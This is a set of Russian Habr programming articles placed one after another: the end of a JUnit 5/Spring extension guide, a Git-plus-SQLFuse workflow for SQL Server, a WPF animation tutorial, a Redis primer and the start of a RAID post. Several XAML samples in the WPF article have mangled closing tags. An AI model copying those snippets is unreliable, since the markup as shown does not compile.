driver.findElement(By.id("sampletodotext"))
.sendKeys("Hey, Let's add it to list");
driver.findElement(By.id("addbutton")).click();
driver.quit();
} catch (Exception e) {
System.out.println(e.getMessage());
}
}
}
```
Вот снимок во время выполнения, который указывает, что выполнение теста было успешным.
#### 3. Spring TestContext: SpringExtension для Jupiter
Spring TestContext, представленный в Spring 5, представляет собой среду Spring, которая предлагает полную интеграцию с моделью программирования JUnit 5 Jupiter. Его можно найти в пакете *org.springframework.test.context.junit.jupiter.SpringExtension*.
Его можно использовать, просто аннотируя тестовый класс JUnit Jupiter любой из следующих аннотаций:
1. @ExtendWith(SpringExtension.class)
2. @SpringJunitConfig(TestConfig.class)
3. @SpringJUnitWebConfig(TestConfig.class)
Ниже показан пример расширения JUnit 5, демонстрирующий использование Spring TestContext:
```
//Instructs JUnit Jupiter to extend the test with Spring support.
@ExtendWith(SpringExtension.class)
//Instructs Spring to load an ApplicationContext from AppConfig.class
@ContextConfiguration(classes = AppConfig.class)
public class SpringExtensionTest {
@Autowired
private MyService myService;
@BeforeAll
static void initAll() {
System.out.println("---Inside initAll---");
}
@BeforeEach
void init(TestInfo testInfo) {
System.out.println("Start..." + testInfo.getDisplayName());
}
@Test
public void messageTest() {
String msg = myService.getMessage();
assertEquals("Hello World!", msg);
}
@Test
public void multiplyNumTest() {
int val = myService.multiplyNum(5, 10);
assertEquals(50, val);
}
@Test
public void idAvailabilityTest() {
boolean val = myService.isIdAvailable(100);
Assertions.assertTrue(val);
}
@AfterEach
void tearDown(TestInfo testInfo) {
System.out.println("Finished..." + testInfo.getDisplayName());
}
@AfterAll
static void tearDownAll() {
System.out.println("---Inside tearDownAll---");
}
}
@Configuration
@ComponentScan("com.concretepage")
public class AppConfig {
}
@Service
public class MyService {
public String getMessage() {
return "Hello World!";
}
public int multiplyNum(int num1, int num2) {
return num1 * num2;
}
public boolean isIdAvailable(long id) {
if (id == 100) {
return true;
}
return false;
}
}
public class SpringProfileDemo {
public static void main(String[] args) {
AnnotationConfigApplicationContext ctx = new AnnotationConfigApplicationContext();
ctx.scan("com.concretepage");
ctx.refresh();
MyService myService = ctx.getBean(MyService.class);
System.out.println(myService.getMessage());
}
}
```
### Заключение и рекомендации
Модель расширения JUnit 5, встроенная в Jupiter, решила внутренние проблемы в точках расширения JUnit 4. Модель реализует несколько встроенных точек расширения и обеспечивает их настройку и групповое использование. Это позволяет разработчикам расширений реализовывать интерфейсы для включения дополнительных возможностей для JUnit 5.
Расширения JUnit 5 позволяют улучшать и расширять возможности JUnit. Однако в некоторых фреймворках также есть полностью интегрированные и адаптированные точки расширения JUnit, позволяющие их повторно использовать, что делает модель расширения Jupiter более мощной и упрощает тесты в соответствии со средой и требованиями приложения. Поэтому настоятельно рекомендуется использовать точки расширения, интегрированные или настраиваемые, чтобы сделать тесты более надежными.
В этой статье не представлены полностью все точки расширения, интегрированные с JUnit 5, или даже все расширения сторонних библиотек. Поэтому, если вас интересует точка расширения или сторонняя платформа расширений, которая не показана здесь, вы можете сообщить нам, чтобы заполнить это руководство в соответствии с интересами читателей.
Мы также можем более подробно проработать те, которые не кажутся вам понятными в этом руководстве. Нам также интересны ваши отзывы об использовании точек расширения JUnit Jupiter в ваших проектах. Исходный код приведенных выше примеров можно найти на [GitHub](https://github.com/mukendik/junit). | https://habr.com/ru/post/589135/ | null | ru | null |
# Git и Microsoft SQL Server
Привет всем!
В [предыдущем посте](http://habrahabr.ru/post/227185/) было рассказано о трудностях, которые испытывают разработчики при написании SQL-кода (причём актуальны эти проблемы не только для MS SQL Server). Здесь же рассказ о том, как использовать Git для версионного контроля кода SQL Server с помощью [SQLFuse](http://sqlfuse.org). Принцип тот же, что и с обычными файлами, но есть некоторые особенности.
Основные изменения в SQLFuse
----------------------------
С момента выхода первой публикации на хабре, SQLFuse был переписан для использования в качестве deploy-системы, что предопределило следующие новые качества:
* Изменения, сделанные над файлами и директориями накапливаются в кэше, затем по таймеру выполняется сброс SQL-команд в БД, обернув их перед этим в транзакцию. При сбое в одной операции происходит откат всех сделанных изменений и очистка кэша, приводится в соответствие иерархия файлов и директорий с их фактическим состоянием относительно БД. Вместо сброса по таймеру изменений, можно было сделать, например, взаимодействие с D-Bus, но это уже дальнейший этап развития проекта.
* Текст содержимого файлов модулей таблицы (колонки, ограничения и др.) не отображает имя модуля, чтобы не ввести в заблуждение систему версионного контроля: имя файла или директории всегда будет являться именем модуля.
* Оптимизация SQL-команд перед их сбросом в БД. Как оказалось, при накладывания патчей на файлы, происходит их удаление, затем создание вместе с новыми данными, — недопустимо для БД из-за возможности потери данных. Поэтому такие операции преобразуются, по возможности, к одной команде ALTER. Мало того, Git удаляет полностью директории, для которых накладывается патч, а затем создаёт их заново вместе с изменениями патча — эта проблема была также решена.
До сих пор **не работает**:
* Поддержка создания/редактирования представлений. Учитывайте, пожалуйста, что формат отображения представлений может измениться.
* XML-индексы
* Расширенные атрибуты
* *Порядок следования колонок при создании таблиц.* То есть при создании таблицы колонки будут созданы в базе данных в том порядке, в котором были созданы на файловой системе, в последующих версиях SQLFuse эта проблема, надеюсь, решится.
Хотелось выразить благодарность за отзыв и тестирование SQLFuse вместе с SQL Server 2000. После проведения тестирования выяснилось, что заставить работать SQLFuse с SQL Server 2000 не получится, так в последнем отсутствуют некоторые метатаблицы, и нет должной поддержки XML на уровне языка, которые используются для генерации кода модулей таблиц.
Почему Git?
-----------
Git не создаёт дополнительных каталогов со своими служебными файлами в каждой директории наблюдаемых структур. Так, например, поступает Subversion. Создание каталогов SQLFuse воспринимает как создание таблицы или схемы, а файлов внутри них — как модулей с текстовым определением, поэтому создание служебных каталогов Subversion не представляется возможным.
Скорее всего, SQLFuse удастся подружить и с Mercurial, — я буду рад [багрепортам](https://github.com/AlexandrMov/SQLFuse/issues) или почитать рассказ об опыте интеграции.
Схема разработки и необходимая инфраструктура
---------------------------------------------
Пусть имеются два сервера SQL Server — первый рабочий (work), второй тестовый (test); один Deploy-сервер. Публичный репозиторий располагается на ресурсе [github.com](http://github.com/alexandrmov/adventureworks.git).
Сандра — коммитер основной ветки, может вносить изменения на рабочий и тестовый сервера. Боб — разработчик, который может вносить изменения только на тестовый сервер. На Deploy-сервере в домашних директориях пользователей Сандры и Боба смонтирована тестовая БД. Только для Сандры дополнительно смонтирована и рабочая БД.
### Настройка Deploy-сервера
В [предыдущей публикации](http://habrahabr.ru/post/227185/) также было рассказано о том, как собрать SQLFuse из исходников и какие зависимости при этом потребуются. Дополнительную информацию об этом и способах установки в систему, можно получить на странице проекта [SQLFuse](http://sqlfuse.org). Как и ранее, базой для демонстрации станет — [AdventureWorks2008R2](http://msftdbprodsamples.codeplex.com/). Предполагается, что уже настроена машина под управлением одним из дистрибутивов ОС Linux, использующий в качестве демона инициализации [systemd](http://www.freedesktop.org/wiki/Software/systemd/).
Создание пользователей в системе:
```
useradd -m -N sandra
useradd -m -N bob
```
Не забываем сменить пароль пользователей, например, с помощью команды *passwd*, и задать глобальные переменные, которые необходимы для работы Git.
Пользовательский сервис *systemd* должен запускаться при входе пользователя в систему и монтировать БД в соответствующие директории. Для этого разместим файлы описания сервисов в директории *~/.config/systemd/user/*, и конфигурационных файлов SQLFuse в директории *~/.config/sqlfuse/*.
Создание необходимых каталогов:
```
mkdir -p ~/workspace/work/sqlserv_1/advworks
# директория для тестовой БД будет создана при клонировании репозитория
mkdir -p ~/workspace/test/sqlserv_1
mkdir -p ~/.config/sqlfuse
mkdir -p ~/.config/systemd/user
```
**Файл-сервис test-sqlserv\_1-advworks@test\_advworks.service**
```
[Unit]
Description=SQLFuse mount profile %i for %u to %h/workspace/%P
[Service]
Type=forking
ExecStart=/usr/bin/sqlfuse -o profilename=%i %h/workspace/%P
ExecStop=/usr/sbin/fusermount -u %h/workspace/%P
TimeoutSec=5min
[Install]
WantedBy=default.target
```
При такой настройке, после выхода пользователя из системы сервисы будут завершаться автоматически, — эта особенность может быть использована как экстренная отмена сброса кэша в БД.
Благодаря использованию механизма экземпляров systemd, добавление нового сервиса сводится к копированию файла:
```
cd ~/.config/systemd/user
cp test-sqlserv_1-advworks@test_advworks.service work-sqlserv_1-advworks@work_advworks.service
```
Конфигурационный файл SQLFuse, описывающий профили подключения *test\_advworks* и *work\_advworks*, размещается в директории ~/.config/sqlfuse, и в нашем случае будет выглядеть следующим образом:
**Конфигурационный файл sqlfuse.conf**
```
[global]
# Максимальное количество подключений
maxconn=2
# Наименование приложения, под которым производиться подключение к серверу
appname=SQLFuse
# Использовать ANSI_NPW
ansi_npw=true
# Горячий старт. Пользователь должен иметь права на создание временных таблиц
hot_start=true
# Фильтр по имени - данные объекты не будут искаться в БД
filter=(?i)(\.dav$|\.html$|\.exe$|\.cmd$|\.ini$|\.bat$|\.vbs$|\.vbe$|\.gitignore$|\.git$|\.gitattributes$)
# Не выводить схемы
exclude_schemas=db_accessadmin;db_backupoperator;db_datareader;db_datawriter;db_ddladmin;db_denydatareader;db_denydatawriter;db_owner;db_securityadmin;guest;INFORMATION_SCHEMA;sys
# Время, с момента последней операции записи, по истечению которого сбрасывается кэш
deploy_time=10
##################
# Профиль подключения
[test_advworks]
# Экземпляр или IP-адрес сервера
servername=192.168.6.50
# Наименование БД
dbname=AdvTest
# Профиль авторизации в sqlfuse.auth.conf
auth=advauth
###################
[work_advworks]
# Экземпляр или IP-адрес сервера
servername=192.168.6.50
# Наименование БД
dbname=AdvWork
# Профиль авторизации в sqlfuse.auth.conf
auth=advauth
```
Для ускорения работы, указывайте максимальное количество подключений больше 1, чтобы выполнять запросы к БД параллельно, при формировании списка и кода объектов таблицы. Однако, если задать значение больше 2, то это особого эффекта этого не принесёт, так как Git не умеет или не хочет распараллеливать свои запросы к файловой системе.
Можно не проделывать одну и ту же последовательность шагов для всех пользователей по подготовке SQLFuse, если разместить необходимые файлы в директории */etc/skel*.
### Инициализация рабочей среды
Для того, чтобы начать отслеживать изменения, Сандра должна сделать первый коммит для рабочей БД в ветку *master* и отправить изменения в bare-репозиторий: ~~мне лень настраивать GitLab, поэтому~~ для наглядности будем использовать [github.com](http://github.com/alexandrmov/adventureworks.git):
```
# Старт и монтирование рабочей БД
systemctl --user start work-sqlserv_1-advworks@work_advworks.service
# Инициализация и первый коммит для рабочей БД
cd ~/workspace/work/sqlserv_1
git init
git add -v advworks/
git commit -m 'Initial work commit'
# Отправка изменений в публичный репозиторий
git remote add origin https://github.com/alexandrmov/adventureworks.git
git push origin master
```
Далее подготовим тестовую БД и ветку *testing* (**изначально, тестовая БД не должна быть смонтирована!**):
```
# клонирование общедоступного репозитория из github:
cd ~/workspace/test/sqlserv_1
git clone https://github.com/alexandrmov/adventureworks.git
# сделаем иерархию для тестовой БД похожей на рабочую
mv adventureworks/* ./
rmdir adventureworks
# предпологается, что тестовая и рабочая БД отличаются
git checkout -b testing
rm -rf advworks/*
# монтирование тестовой БД
systemctl --user start test-sqlserv_1-advworks@test_advworks.service
# первый коммит ветки testing и отправка изменений в центральный репозиторий
git add -v advworks/
git commit -m 'Initial testing commit'
git push origin testing
```
**Все слияния, изменения истории коммитов и прочие операции необходимо проводить на локальных рабочих станциях, но не как на смонтированных БД!** Поэтому, чтобы случайно не сломать рабочий или тестовый сервер, можно написать несколько хуков, которые запрещают менять текущие ветки в репозиториях, где смонтированы БД, и выполнять любые команды, кроме *git pull* для получения изменений из центрального репозитория.
Для Боба настройка рабочей среды почти не отличается. Необходимо клонировать публичный репозиторий, перейти в ветку *testing*, рекурсивно удалить содержимое каталога *advworks* и, наконец, произвести монтирование тестовой БД, запустив сервис *systemd*.
Конечно, было бы очень круто, воссоздать тестовые структуры из рабочей БД путём копирования иерархии директорий и файлов, но, к сожалению, пока представления работают в режиме «только чтение» и не поддерживаются расширенные атрибуты.
### Псевдореальный пример
Допустим, появилась необходимость задавать дилерскую скидку для каждого продукта. Для этого Боб добавит поле *DealerDiscount* в таблицу *Production.ProductListPriceHistory* для хранения процента по скидке. Также Бобу необходимо изменить функцию *dbo.ufnGetProductDealerPrice*.
Действия Боба для выполнения поставленной задачи будут следующими:
* Синхронизировать ветку *master* с публичным репозиторием, так как нужно использовать версию кода модулей с рабочего сервера.
* Создать колонку и ограничение, путём создания соответствующих файлов, и изменить функцию:
* Зафиксировать изменения в новой ветке *dealerdiscount* и отправить их в публичный репозиторий:
```
# Сохранение сделанных изменений в отдельной ветке
git checkout -b dealerdiscount
git add advworks/dbo/ufnGetProductDealerPrice
git add advworks/Production/ProductListPriceHistory/DealerDiscount
git add advworks/Production/ProductListPriceHistory/DF_ProductListDealerDiscount
git commit -m "Dealer discount"
# Отправка локальных изменений в центральный репозиторий
git push origin dealerdiscount
# Слияние новых изменений в тестовую ветку
git checkout testing
git rebase testing dealerdiscount
# Отправка изменений ветки тестового сервера в центральный репозиторий
git push origin testing
```
* Войти под своим логином на Deploy-сервер и внести изменения в тестовую базу данных для обкатки и тестирования новых изменений:
```
cd ~/workspace/test/sqlserv_1/
git fetch
git pull origin testing
```
* Создать, что называется [Pull Request](https://github.com/AlexandrMov/AdventureWorks/pull/1/files) (здесь можете посмотреть пример), для обсуждения и окончательной проверки коммитером перед слиянием в рабочую БД.
Как могли заметить внимательные читатели, в конце текстовых модулей (процедур, функций, триггеров и т.п.) генерируется очень много пробелов — это связано с тем, что SQL Server не корректно возвращает длину данных из метатаблиц. Реальный размер, можно определить только при выполнении процедуры *sp\_helptext*: он всегда меньше, чем в метатаблице. Если не использовать метатаблицу *sys.sql\_modules*, а сразу процедуру *sp\_helptext*, то значительно снижается скорость получения данных при выполнении команды *git status* потому, что приходится вызывать процедуру в цикле. Именно поэтому, чтобы предотвратить некорректную работу утилит с файлами, сделан такой костыль. Имейте, пожалуйста, в виду, что при выполнении сброса кэша в БД происходит усечение концевых пробелов в текстовых модулях.
После проверки, Сандра должна произвести слияние нового функционала с веткой *master*, внеся изменения в рабочую БД, — действия такие же как у Боба, только с веткой *master*. Если процесс переноса изменений сложен, то слияние может быть выполнено «вручную». После применения SQL-команд, изменения должны быть зафиксированы и отправлены в центральный репозиторий, и синхронизированы ветки тестовые и разработок нового функционала.
Заключение
----------
Рассмотренная схема разработки очень похожа на утопию, где все изменения могут быть выполнены атомарно и без ошибок, однако, SQLFuse может быть использован только для отслеживания кода модулей, при изменениях, вносимых напрямую в БД SQL-скриптами. Или же для тестовых серверов вносить изменения смешанным методом, а для рабочих использовать скрипт, который будет генерировать разницу между коммитами. Следите за [моим аккаунтом на гитхабе](https://github.com/AlexandrMov), возможно, скоро такой скрипт появится, но, я надеюсь, кто-то меня опередит и напишет его первым, выложив в свободный доступ.
Итак, рассмотренный подход позволяет осуществить:
* возможность контролировать оформление кода при коммитах;
* сохранность данных при конкурентных корректировках одних и тех же модулей SQL Server;
* ведение истории правок модулей вносимых пользователями;
* использование ресурсов на подобие GitHub, и веб-приложений таких как GitLab;
* более гибкий поиск по коду и построение графов зависимостей между модулями без подключения к БД.
В следующей публикации будет описано применение системы автоматической генерации документации к модулям SQL Server, а также способ создания/редактирования представлений. | https://habr.com/ru/post/240019/ | null | ru | null |
# Анимации в WPF
#### Предисловие
Приветствую вас, дорогие хабраюзеры! Сегодня я хочу вам рассказать об анимации в WPF. О ней, конечно, писали ранее на хабре, однако я постараюсь рассказать подробнее. Мой пост будет скорее больше теоретический, однако, я надеюсь, вы извлечете из него выгоду.
Анимация в WPF отличается от всего, что вы видели раньше своей наглядностью и простотой. Раньше вам приходилось вручную перерисовывать сцену по таймеру, разумеется, написав довольно большой объем кода. Теперь вы можете создать анимацию в XAML файле, не написав ни единой строчки кода на C# (или любой другой .Net язык). Разумеется, осталась возможность создавать анимацию в коде, но об этом поговорим позднее. Анимация в WPF не перерисовывает элемент, а изменяет его свойства через определенные интервалы времени (по умолчанию около 60 раз в секунду, если вы не измените в Storyboard). Это позволяет ей оставаться самой собой, например, если анимировать кнопку, то во время анимации она будет оставаться «кнопкой», т.е. на неё можно будет нажать, и производить разнообразные манипуляции над ней.
Много кода, примеров и картинок под катом…
#### Архитектура
Все анимации в WPF находятся в пространстве имен System.Windows.Media.Animation. Все классы анимаций начинаются с имени анимируемого типа, например **DoubleAnimation** анимирует свойства типа **Double**.
Анимации делятся на три категории:
1. Анимации с использованием линейной интерполяции (***ТипСвойства*Animation**)
2. Анимации с использованием ключевых кадров (***ТипСвойства*UsingKeyFrames**)
3. Анимации с использованием пути (***ТипСвойства*UsingPath**)
Все анимации наследуются от ***ТипСвойства*AnimationBase**. В данном пространстве имен присутствуют классы анимации для большинства BCL типов.
Для начала давайте рассмотрим простейшую анимацию в XAML:
> `<Button>
>
> <Button.Triggers>
>
> <EventTrigger RoutedEvent="Button.Click">
>
> <BeginStoryboard>
>
> <Storyboard>
>
> <ThicknessAnimation
>
> From="0"
>
> To="200"
>
> Duration="0:0:5"
>
> Storyboard.TargetProperty
>
> ="Margin"/>
>
> Storyboard>
>
> BeginStoryboard>
>
> EventTrigger>
>
> Button.Triggers>
>
> Button>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Рассмотрим каждый класс подробнее:
• ThicknessAnimation – сама анимация.
• Storyboard – «временная шкала». О ней поговорим позднее.
• BeginStoryboard – «обертка» для Storyboard, запускающая анимацию.
• EventTrigger – триггер на событие.
После нажатия на кнопку, мы видим, что она уменьшилась:
Слева до нажатия, справа после.
[Аналогичный пример на MSDN.](http://samples.msdn.microsoft.com/Silverlight/SampleBrowser/index.htm#/?sref=animations_snip&id=2) Тег object, к сожалению, хабрапарсер не пропускает.
Анимацию можно запускать и при изменении свойства зависимости:
> `<Button>
>
> <Button.Style>
>
> <Style>
>
> <Style.Triggers>
>
> <Trigger Property="Button.IsPressed"
>
> Value="True">
>
> <Trigger.EnterActions>
>
> <BeginStoryboard>
>
> <Storyboard>
>
> <ThicknessAnimation
>
> From="0" To="200"
>
> Duration="0:0:5"
>
> Storyboard.TargetProperty
>
> ="Margin"/>
>
> Storyboard>
>
> BeginStoryboard>
>
> Trigger.EnterActions>
>
> Trigger>
>
> Style.Triggers>
>
> Style>
>
> Button.Style>
>
> Button>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Впрочем, в данном случае это даст тот же результат.
#### Более тонкая настройка
##### Свойство Storyboard.TargetProperty
Это прикрепляемое свойство задает целевое свойство для анимации. В данном случае мы применяем анимацию к свойству **Margin**.
##### Свойство Storyboard.TargetName
Это прикрепляемое свойство задает название целевого элемента в пределах видимости XAML. Используется, если мы хотим применить анимацию к другому элементу в XAML.
##### Свойство Storyboard.Target
Это прикрепляемое свойство задает целевой элемент, к которому мы хотим применить анимацию. Обычно используется при создании анимаций в коде. [Пример на MSDN.](http://samples.msdn.microsoft.com/Silverlight/SampleBrowser/index.htm#/?sref=change_targetname_1)
##### Свойство From
Это свойство задает начальное значение, т.е. при старте будет использоваться именно это значение. Однако это свойство можно опустить, и тогда в качестве начального значения будет использоваться текущее. Это позволяет, не дожидаясь окончания одной анимации, запустить другую, и при этом не будет «рывка». Если вы анимируете свойства **Width** и **Height**, то проверьте, чтобы значение свойства не было равно **Double.NaN**.
##### Свойство To
Это свойство задает конечное значение. Его также можно опустить, при этом будет использоваться значение, которое принимало свойство до анимаций. Например, можно сделать анимацию расширения при наведении курсора на кнопку, а при уходе курсора сделать анимацию без свойства To, то тогда при уходе кнопка «сузится» до первоначальных размеров.
##### Свойство By
Это свойство задает значение, на которое изменяется конечное свойство. Проще говоря, при присваивании значения свойству **By**, свойство **To** принимает значение **From** + **By**. Это сделано для облегчения использования анимаций в XAML.
Свойство By реализуется не всеми классами. В основном это свойство присутствует в числовых анимациях.
##### Свойство IsAdditive
Это свойство позволяет сделать значения **From** и **To** относительными. Грубо говоря, если данное свойство имеет значение True, то начальное значение будет равно «текущему значению + **From**», а конечное «текущему значению + **To**».
##### Свойство Duration
Это свойство задает длительность анимации. Заметьте – тип данного свойства не **TimeSpan**, а **Duration**. Почему оно тогда принимает время? Потому что есть неявное приведение к **TimeSpan**. “Но зачем тогда нужен **Duration**?” — скажите вы. Затем, что Duration также может принимать значение **Duration.Automatic** (эквивалентно 1 секунде) и **Duration.Forever** (анимация ничего не делает).
##### Свойство BeginTime
Это свойство задает задержку перед запуском анимации. Здесь думаю все очевидно. [Пример на MSDN.](http://samples.msdn.microsoft.com/Silverlight/SampleBrowser/index.htm#/?sref=BeginTime)
##### Свойство SpeedRatio
Это свойство задает скорость анимации. Его начальное значение равно 1D. При его увеличении, скорость будет соответственно увеличиваться, а при его уменьшении замедляться. Например если этому свойству присвоить 2D, то скорость увеличиться вдвое.
##### Свойства AccelerationRatio и DecelerationRatio
Эти свойства задают промежуток ускорения или замедления. Его значение указывается в процентном соотношении. Например, если свойству **AccelerationRatio** присвоить 0.5, то половину своего времени анимация будет ускоряться. Или если присвоить свойствам **AccelerationRatio** и **DecelerationRatio** 0.25, при общей длительности 4 секунды, то все произойдет так:
1. Ускорение анимации на 1 секунду
2. Постоянная скорость на 2 секунды
3. Замедление анимации на 1 секунду
Значение данных свойств не может быть больше 1 или меньше 0.
##### Свойство AutoReverse
Если это свойство будет равно True, то в конце анимации она будет перезапущена в обратном направлении. Т.е. если кнопка увеличивалась, то она уменьшится.
BeginTime применяется только в самом начале анимации, в обратном направлении задержки уже не будет.
#### Виды анимаций
Теперь рассмотрим каждый вид подробнее:
##### Линейная анимация
Здесь все просто – анимирует свойство из одного значения в другое, с использованием функции линейной интерполяции. Всё что мы рассматривали ранее, являлось линейной анимацией.
##### Анимация с использованием ключевых кадров
Эта анимация анимирует свойство по ключевым кадрам. Если вы имели дело с 3D-анимацией, то вы меня поймете.
Анимация ключевых кадров похожа на обычную анимацию, лишь с одним условием — конечных значений может быть больше 1.
Рассмотрим данный фрагмент XAML:
> `<Border Background="White">
>
> <Border.Triggers>
>
> <EventTrigger RoutedEvent="Border.MouseDown">
>
> <EventTrigger.Actions>
>
> <BeginStoryboard>
>
> <Storyboard>
>
> <ColorAnimationUsingKeyFrames
>
> Storyboard.TargetProperty
>
> ="(Border.Background).
>
> (SolidColorBrush.Color)">
>
> <LinearColorKeyFrame
>
> KeyTime="0:0:2"
>
> Value="Blue"/>
>
> <LinearColorKeyFrame
>
> KeyTime="0:0:4"
>
> Value="Red"/>
>
> <LinearColorKeyFrame
>
> KeyTime="0:0:6"
>
> Value="Green"/>
>
> ColorAnimationUsingKeyFrames>
>
> Storyboard>
>
> BeginStoryboard>
>
> EventTrigger.Actions>
>
> EventTrigger>
>
> Border.Triggers>
>
> Border>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**ColorAnimationUsingKeyFrames** – анимация цвета, используя ключевые кадры.
**LinearColorKeyFrame** – ключевые кадры анимации цвета с интерполяцией.
У нас есть 3 ключа. Теперь представим саму анимацию, так сказать «раскадрируем» :):
Существует четыре вида ключевых кадров:
1. **Linear*ТипСвойства*KeyFrame** – ключевой кадр, использующий линейную интерполяцию.
2. **Discrete*ТипСвойства*KeyFrame** – ключевой кадр без интерполяции. Используется, если требуется резко изменить значение свойства. Единственный вид ключевых кадров для **ObjectAnimationUsingKeyFrames**.
3. **Spline*ТипСвойства*KeyFrame** – ключевой кадр с интерполяцией по кривой Безье. Точки кривой задаются свойством KeySpline. В остальном подобен **LinearKeyFrame** (тип для простоты опускаю).
4. **Easing*ТипСвойства*KeyFrame** – подобен **LinearKeyFrame**, только позволяет использовать функцию плавности. Свойство **EasingFunction** принимает объект типа **EasingFunctionBase**, являющейся функцией плавности. Посмотреть все доступные функции плавности можно посмотреть здесь. [Галерея функций плавности на MSDN.](http://samples.msdn.microsoft.com/Silverlight/SampleBrowser/index.htm#/?sref=easing_functions_gallery)
Каждый ключевой кадр имеет два свойства:
• **KeyTime** – задает время, когда свойство примет целевое значение.
• **Value** – целевое значение кадра. Зависит от типа анимации.
##### Анимация на основе пути
Анимация на основе пути использует объект **PathGeometry** для установки значения.
Рассмотрим подробнее данный фрагмент XAML:
> `<Window.Resources>
>
> <PathGeometry x:Key="path">
>
> <PathFigure IsClosed="True">
>
> <ArcSegment Point="1,0"
>
> Size="50,25"
>
> IsLargeArc="True"/>
>
> PathFigure>
>
> PathGeometry>
>
> <Storyboard x:Key="storyboard"
>
> Storyboard.TargetName="rect">
>
> <DoubleAnimationUsingPath
>
> Storyboard.TargetProperty="(Canvas.Left)"
>
> PathGeometry="{StaticResource path}"
>
> Source="X" Duration="0:0:5"/>
>
> <DoubleAnimationUsingPath
>
> Storyboard.TargetProperty="(Canvas.Top)"
>
> PathGeometry="{StaticResource path}"
>
> Source="Y" Duration="0:0:5"/>
>
> Storyboard>
>
> Window.Resources>
>
> <Canvas>
>
> <Path Data="{StaticResource path}"
>
> StrokeThickness="2" Stroke="Black"
>
> Canvas.Left="50"/>
>
> <Rectangle x:Name="rect" Stroke="Black"
>
> StrokeThickness="2" Width="10"
>
> Height="10">
>
> <Rectangle.RenderTransform>
>
> <TranslateTransform X="45" Y="-5"/>
>
> Rectangle.RenderTransform>
>
> Rectangle>
>
> Canvas>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все то же самое, только используется анимация на основе пути. Свойство **PathGeometry** задает объект **PathGeometry**, содержащий геометрию пути. Свойство **Source** задает его выходное значение, например координата X или Y.
Конечный результат
[Пример на MSDN.](http://samples.msdn.microsoft.com/Silverlight/SampleBrowser/index.htm#/?sref=interactive_animation) Пример, конечно, про управление воспроизведением анимации, однако это единственный из найденных мною примеров, где используется анимация на основе пути.
#### Storyboard – что за зверь такой?
Вы уже заметили, что я часто использую **Storyboard**. Думаю, вам было очевидно, что это не анимация. Этот класс позволяет сгруппировать несколько анимаций (потому то он и наследуется от **TimelineGroup**). Можно сказать, что это контейнер для анимаций. Он очень удобен тем, что позволяет управлять ими всеми сразу, т.е. используя например метод **Begin()** запустить сразу 10 анимаций. Конечно, для одиночных анимаций он вовсе необязателен. Однако, как я писал выше, свойство **BeginStoryboard.Storyboard** имеет тип **Storyboard**, так что для его использования необходимо «оборачивать» ею анимацию.
#### Создание анимации в коде
Здесь всё просто, если вы разобрались с XAML. Если вы хотите применить анимацию к одному элементу достаточно создать её и вызвать у конечного элемента метод **BeginAnimation()**.
```
var animation = new ThicknessAnimation();
animation.From = new Thickness(20);
animation.To = new Thickness(100);
animation.Duration = TimeSpan.FromSeconds(5);
button.BeginAnimation(MarginProperty, animation);
```
Также вы можете вручную задать конечный элемент и свойство для анимации используя прикрепляемые свойства **Storyboard.Target** и **Storyboard.TargetProperty**, о котором я писал выше.
```
var animation1 = new ThicknessAnimation();
animation1.From = new Thickness(5);
animation1.To = new Thickness(25);
animation1.Duration = TimeSpan.FromSeconds(5);
Storyboard.SetTarget(animation1, button1);
Storyboard.SetTargetProperty(animation1, new PropertyPath(MarginProperty));
var animation2 = new ThicknessAnimation();
animation2.From = new Thickness(5);
animation2.To = new Thickness(25);
animation2.Duration = TimeSpan.FromSeconds(5);
Storyboard.SetTarget(animation2, button2);
Storyboard.SetTargetProperty(animation2, new PropertyPath(MarginProperty));
var storyboard = new Storyboard();
storyboard.Children = new TimelineCollection {animation1, animation2};
storyboard.Begin();
```
P.S. Пользуясь моментом, хочу поздравить вас с прошедшим Новым Годом!
P.S.S. Код разметки «сжат» для повышения читаемости на мобильных девайсах (сам часто хабру со своего WP7 читаю). | https://habr.com/ru/post/111126/ | null | ru | null |
# REDIS — а зачем?
Приветствую читателей! Я уже довольно давно пишу на Python, но как мне кажется серьезно работать начал только в этом году. Раньше единственное чем было наполнено мое портфолио - простейшие telegram боты, парсеры и прочие программы которые делаются за пару часов и стоят на том же фрилансе от силы пару тысяч. Сейчас же я с головой погрузился в backend (Django, Flask) и сложных чат ботов. В следствии этого мне пришлось познакомиться с SQL, SQLITE, POSTGREE и так далее. Раньше мне казалось что это невероятно сложно, но как говориться: "Глаза бояться, а пальцы долбят по клаве", и через пару дней я уже спокойно писал SQL запросы. Позже я познакомился с ORM, и это наверное самая удобная вещь которую придумали для работы с базами данных. Но не об этом.
В процессе постижения таинств веб разработки и желания стать в ней профессионалом на просторах интернета я обнаружил информацию о неких NoSQL базах данных, а в частности Redis. Что? Зачем? Почему? Для чего? Вопросов изначально было довольно много, однако в процессе до меня начало доходить почему Redis - безумно классная вещь.
Redis хранит в себе данные в виде `key:value,` но сразу возникает закономерный вопрос, а как мы можем это применить в процессе разработки? Давайте разберем на банальном примере:
В этой статье я буду работать из терминала redis-cli, но если меня не закидают дизлайками :) выпущу вторую часть где покажу как это работает в связке с фреймворком Django.
Для установки redis в linux:
`sudo apt install redis-server`Для macOS:
`brew install redis`
После установки прописываем redis-cli, а затем проверяем работу redis командой ping.
Установка значения для ключа в redis происходит с помощью команды `set.`Синтаксис: `set key value`
Для того что бы получить значение по ключу мы используем команду `get.`Синтаксис: `get key`
Так же redis нам предоставляет возможность с помощью уже знакомой нам команды `set` изменять значение. Как вы могли заметить по примерам с картинок я пытался моделировать работу сайта - когда пользователь находиться онлайн в redis, где ключом является ник пользователя, записывается что пользователь в сети. Если же пользователь покидает сайт значения изменяется на offline.
Надеюсь что моя первая статья была хоть сколько то полезной и возможно кому то поможет.
Спасибо всем кто прочел мою статью, и если я где то допустил ошибки буду рад если вы на них укажите!
P.S. я знаю что offline пишется с двумя f. | https://habr.com/ru/post/705176/ | null | ru | null |
# Виртуальный сервер с Ubuntu 11.04, Software RAID и его восстановление
Привет Хабр. Хотел бы описать решение проблемы с Software RAID на Ubuntu Server 11.04 с которой я столкнулся неправильно перезагрузив сервер.
Пару дней назад, работал я, писал код на php, сервер офисный сильно не грузил. Вообще у нас принято как серверный так и клиентский код писать на собственных машинах и версировать при помощи git, разве что база данных mysql иногда бывает общей, с того самого сервера. А если надо, то git push в помощь. Для многих разработок на сервере настроены vhosts обновляемые из git и доступные из просторов интернетов.
